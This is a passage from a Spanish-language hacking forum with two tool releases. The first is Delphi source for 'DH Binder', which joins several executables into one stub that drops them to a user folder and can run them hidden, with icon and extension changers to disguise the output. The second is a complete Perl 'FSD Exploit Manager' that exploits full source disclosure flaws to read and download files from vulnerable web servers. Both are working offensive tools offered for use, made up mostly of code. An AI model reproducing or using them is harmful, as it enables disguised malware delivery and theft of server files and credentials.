      valor: string;
      stubgenerado: string;
      ruta_archivo: string;
      tipocantidadz: string;
      extensionacambiar: string;

    begin

      StatusBar1.Panels[0].Text := '[+] Working ...';
      Form1.StatusBar1.Update;

      if (files.Items.Count = 0) or (files.Items.Count = 1) then
      begin
        ShowMessage('You have to choose two or more files');
      end
      else
      begin
        stubgenerado := 'done.exe';

        if (opcion_ocultar.Checked = True) then
        begin
          opcionocultar := '1';
        end
        else
        begin
          opcionocultar := '0';
        end;

        if (extraction.Items[extraction.ItemIndex] = '') then
        begin
          savein := 'USERPROFILE';
        end
        else
        begin
          savein := extraction.Items[extraction.ItemIndex];
        end;

        DeleteFile(stubgenerado);
        CopyFile(PChar(ExtractFilePath(Application.ExeName) + '/' +
          'Data/stub.exe'), PChar(ExtractFilePath(Application.ExeName) + '/' +
          stubgenerado), True);

        ruta_archivo := ExtractFilePath(Application.ExeName) + '/' + stubgenerado;

        uno := BeginUpdateResource(PChar(ruta_archivo), True);

        for i := 0 to files.Items.Count - 1 do
        begin

          nombre := files.Items[i].Caption;
          ruta := files.Items[i].SubItems[0];
          tipo := files.Items[i].SubItems[2];

          lineafinal := '[nombre]' + nombre + '[nombre][tipo]' + tipo +
            '[tipo][dir]' + savein + '[dir][hide]' + opcionocultar + '[hide]';
          lineafinal := '[63686175]' + dhencode(UpperCase(lineafinal), 'encode') +
            '[63686175]';

          dos := CreateFile(PChar(ruta), GENERIC_READ, FILE_SHARE_READ, nil,
            OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
          tam := GetFileSize(dos, nil);
          GetMem(todo, tam);
          ReadFile(dos, todo^, tam, tres, nil);
          CloseHandle(dos);
          UpdateResource(uno, RT_RCDATA, PChar(lineafinal),
            MAKEWord(LANG_NEUTRAL, SUBLANG_NEUTRAL), todo, tam);

        end;

        EndUpdateResource(uno, False);

      end;

      //

      if (check_filepumper.Checked) then
      begin
        tipocantidadz := pumper_type.Items[pumper_type.ItemIndex];
        if (tipocantidadz = 'Byte') then
        begin
          file_pumper(ruta_archivo, StrToInt(pumper_count.Text) * 8);
        end;
        if (tipocantidadz = 'KiloByte') then
        begin
          file_pumper(ruta_archivo, StrToInt(pumper_count.Text) * 1024);
        end;
        if (tipocantidadz = 'MegaByte') then
        begin
          file_pumper(ruta_archivo, StrToInt(pumper_count.Text) * 1048576);
        end;
        if (tipocantidadz = 'GigaByte') then
        begin
          file_pumper(ruta_archivo, StrToInt(pumper_count.Text) * 1073741824);
        end;
        if (tipocantidadz = 'TeraByte') then
        begin
          file_pumper(ruta_archivo, StrToInt(pumper_count.Text) * 1099511627776);
        end;
      end;

      if (use_icon_changer.Checked) then
      begin
        try
          begin
            change := BeginUpdateResourceW
              (PWideChar(wideString(ruta_archivo)), False);
            LoadIconGroupResourceW(change, PWideChar(wideString(valor)), 0,
              PWideChar(wideString(ruta_icono.Text)));
            EndUpdateResourceW(change, False);
          end;
        except
          begin
            //
          end;
        end;
      end;

      if (check_extension_changer.Checked) then
      begin
        if not(check_extension.Checked and check_this_extension.Checked) then
        begin
          if (check_extension.Checked) then
          begin
            extensionacambiar := extensiones.Items[extensiones.ItemIndex];
            extension_changer(ruta_archivo, extensionacambiar);
          end;
          if (check_this_extension.Checked) then
          begin
            extension_changer(ruta_archivo, extension.Text);
          end;
        end;
      end;

      StatusBar1.Panels[0].Text := '[+] Done';
      Form1.StatusBar1.Update;

    end;

    procedure TForm1.C1Click(Sender: TObject);
    begin
      files.Clear;
      imagenes.Clear;
    end;

    procedure TForm1.D1Click(Sender: TObject);
    begin
      files.DeleteSelected;
    end;

    procedure TForm1.FormCreate(Sender: TObject);
    begin
      abrir.InitialDir := GetCurrentDir;
      abrir_icono.InitialDir := GetCurrentDir;
      abrir_icono.Filter := 'ICO|*.ico|';
    end;

    end.

    // The End ?


    El Stub.

    Código: delphi

    // DH Binder 1.0
    // (C) Doddy Hackman 2015
    // Credits :
    // Joiner Based in : "Ex Binder v0.1" by TM
    // Icon Changer based in : "IconChanger" By Chokstyle
    // Thanks to TM & Chokstyle

    program stub;

    uses
      System.SysUtils, ShellApi, Windows;

    function regex(text: String; deaca: String; hastaaca: String): String;
    begin
      Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
      SetLength(text, AnsiPos(hastaaca, text) - 1);
      Result := text;
    end;

    function dhencode(texto, opcion: string): string;
    // Thanks to Taqyon
    // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
    var
      num: integer;
      aca: string;
      cantidad: integer;

    begin

      num := 0;
      Result := '';
      aca := '';
      cantidad := 0;

      if (opcion = 'encode') then
      begin
        cantidad := Length(texto);
        for num := 1 to cantidad do
        begin
          aca := IntToHex(ord(texto[num]), 2);
          Result := Result + aca;
        end;
      end;

      if (opcion = 'decode') then
      begin
        cantidad := Length(texto);
        for num := 1 to cantidad div 2 do
        begin
          aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
          Result := Result + aca;
        end;
      end;

    end;

    procedure cargar_archivo(archivo: TFileName; tipo: string);
    var
      data: SHELLEXECUTEINFO;
    begin
      if (FileExists(archivo)) then
      begin
        ZeroMemory(@data, SizeOf(SHELLEXECUTEINFO));
        data.cbSize := SizeOf(SHELLEXECUTEINFO);
        data.fMask := SEE_MASK_NOCLOSEPROCESS;
        data.Wnd := 0;
        data.lpVerb := 'open';
        data.lpFile := PChar(archivo);
        if (tipo = 'Show') then
        begin
          data.nShow := SW_SHOWNORMAL;
        end;
        if (tipo = 'Hide') then
        begin
          data.nShow := SW_HIDE;
        end;
        if not ShellExecuteEx(@data) then
          if GetLastError <= 32 then
          begin
            SysErrorMessage(GetLastError);
          end;
      end;
    end;

    //

    // Start the game

    function start(tres: THANDLE; cuatro, cinco: PChar; seis: DWORD): BOOL; stdcall;
    var
      data: DWORD;
      uno: DWORD;
      dos: DWORD;
      cinco2: string;
      nombre: string;
      tipodecarga: string;
      ruta: string;
      ocultar: string;

    begin

      Result := True;

      cinco2 := cinco;
      cinco2 := regex(cinco2, '[63686175]', '[63686175]');
      cinco2 := dhencode(cinco2, 'decode');
      cinco2 := LowerCase(cinco2);

      nombre := regex(cinco2, '[nombre]', '[nombre]');
      tipodecarga := regex(cinco2, '[tipo]', '[tipo]');
      ruta := GetEnvironmentVariable(regex(cinco2, '[dir]', '[dir]')) + '/';
      ocultar := regex(cinco2, '[hide]', '[hide]');

      if not(tipodecarga = '') then
      begin
        data := FindResource(0, cinco, cuatro);

        uno := CreateFile(PChar(ruta + nombre), GENERIC_WRITE, FILE_SHARE_WRITE,
          nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
        WriteFile(uno, LockResource(LoadResource(0, data))^,
          SizeOfResource(0, data), dos, nil);

        CloseHandle(uno);

        if (ocultar = '1') then
        begin
          SetFileAttributes(PChar(ruta + nombre), FILE_ATTRIBUTE_HIDDEN);
        end;

        if (tipodecarga = 'normal') then
        begin
          // Writeln('Abriendo normal');
          cargar_archivo(ruta + nombre, 'Show');
        end;
        if (tipodecarga = 'hide') then
        begin
          // Writeln('Abriendo oculto');
          cargar_archivo(ruta + nombre, 'Hide');
        end;
      end;
    end;

    begin

      EnumResourceNames(0, RT_RCDATA, @start, 0);

    end.

    // The End ?


    Un video con ejemplos de uso :



    Si quieren bajar el programa lo pueden hacer de aca :

    You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
    You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
#120
Perl / [Perl] FSD Exploit Manager 0.6
Febrero 20, 2015, 01:27:42 PM
Un simple script en Perl para explotar la vulnerabilidad Full Source Discloure solo ponen el link de la pagina vulnerable con el path y pueden bajar archivos de forma facil con este script.

El codigo :

Código: perl

#!usr/bin/perl
#FSD Exploit Manager 0.6
#(C) Doddy Hackman 2014

use Getopt::Long;
use Color::Output;
Color::Output::Init;
use LWP::UserAgent;
use URI::Split qw(uri_split);
use File::Basename;
use Cwd;

my $nave = LWP::UserAgent->new();
$nave->agent( $agents[ rand @agents ] );
$nave->timeout(5);

installer();

GetOptions(
    "scan=s" => \$scan,
    "fpd"    => \$fpd,
    "logs"   => \$logs,
    "open"   => \$open
);

head();

if ($scan) {

    my $page = $scan;

    printear("\n[+] Scanning target : ");
    print $page. "\n\n";

    my ( $scheme, $auth, $path, $query, $frag ) = uri_split($page);

    my $me = basename($path);

    $code1 = toma( $page . $me );
    if ( $code1 =~ /header\((.*)Content-Disposition: attachment;/ig ) {
        printear_titulo("[+] Vulnerable\n");
        $code2 = toma( $page . "'" );
        if (   $code2 =~ /No such file or directory in <b>(.*)<\/b> on line/
            or $code2 =~
            /No existe el fichero o el directorio in <b>(.*)<\/b> on line/ )
        {
            my $ruta    = $1;
            my $cambiar = basename($ruta);
            $ruta =~ s/$cambiar//;

            my $prompt = "";

            if ($fpd) {
                printear("\n[+] Full Path Dislocure Detect : ");
                print $ruta. "\n";
                $prompt = "[" . $ruta . "] > ";
            }
            else {
                $prompt = "[prompt] > ";
            }

            unless ( -d $auth ) {
                mkdir( $auth, "0777" );
                chmod 0777, $auth;
            }
            chdir($auth);

            printear("\n[+] File Downloader : ");
            print "Ready\n";

            while (1) {
                $SIG{INT} = \&adios;
                printear_titulo( "\n" . $prompt );
                chomp( my $comando = <stdin> );
                if ( $comando =~ /!exit/ ) {
                    adios();
                }
                elsif ( $comando =~ /!read_file (.*)/ ) {
                    my $archivo = $1;
                    my $code    = "";
                    my $code    = toma( $page . $archivo );

                    printear_logo(
"\n----------------------------------------------------\n"
                    );
                    printear_titulo($code);
                    printear_logo(
"\n----------------------------------------------------\n"
                    );

                }
                elsif ( $comando =~ /!download_file (.*)/ ) {
                    my $archivo = $1;
                    my $nombre  = basename($archivo);
                    printear_titulo("\n[+] Downloading file : ");
                    print $nombre. "\n";
                    if ( $nave->mirror( $page . $archivo, $nombre ) ) {
                        printear("\n[+] File Downloaded\n");
                        if ($open) {
                            my $abrir = getcwd() . "/" . $nombre;
                            if ( -f $abrir ) {
                                abrir_archivo($abrir);
                            }
                            if ( !defined($logs) ) {
                                if ( -f $abrir ) {
                                    unlink($abrir);
                                }
                            }
                        }

                    }
                    else {
                        printear("\n[-] File not downloaded\n");
                    }
                }
                elsif ( $comando =~ /!help/ ) {
                    printear( "\n[+] Commands : " . "\n\n" );
                    printear("!download_file <file> : Download file\n");
                    printear("!read_file <file> : Read File\n");
                    printear("!help : Show commands\n");
                    printear("!exit : To exit the program\n");
                }
                else {
                    printear("\n[-] Command not found , try using !help\n");
                }

            }

        }
    }
    else {
        printear_titulo("[-] Not vulnerable\n");
    }
}
else {
    sintax();
}

copyright();

sub abrir_archivo {
    my $os = $^O;
    if ( $os =~ /Win32/ig ) {
        system(qq(notepad.exe "$_[0]"));
    }
    else {
        system(qq(gedit '$_[0]'));
    }
}

sub printear {
    cprint( "\x036" . $_[0] . "\x030" );
}

sub printear_logo {
    cprint( "\x037" . $_[0] . "\x030" );
}

sub printear_titulo {
    cprint( "\x0310" . $_[0] . "\x030" );
}

sub sintax {
    printear("\n[+] Sintax : ");
    print "perl $0 <option> <value>\n";
    printear("\n[+] Options : \n\n");
    print "-scan <page> : FSD Exploit Scanner\n";
    print "-fpd : Check Full Path Discloure\n";
    print "-logs : Enable logs to save files downloaded\n";
    print "-open : Enable open files downloaded\n";
    printear("\n[+] Example : ");
    print "perl fsd.pl -scan http://localhost/download.php?down= -fpd -logs\n";
    copyright();
}

sub installer {
    unless ( -d "fsdlogs/" ) {
        mkdir( "fsdlogs/", "777" );
        chmod 0777, "fsdlogs/";
    }
    chdir("fsdlogs");
}

sub adios {
    printear_titulo("\n\n[+] Good Bye\n");
    copyright();
}

sub head {
    printear_logo("\n-- == FSD Exploit Manager 0.6 == --\n\n");
}

sub copyright {
    printear_logo("\n\n-- == (C) Doddy Hackman 2014 == --\n");
    exit(1);
}

sub toma {
    return $nave->get( $_[0] )->content;
}

#The End ?


Un video con ejemplos de uso :



Si quieren bajar el programa lo pueden hacer de aca :

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.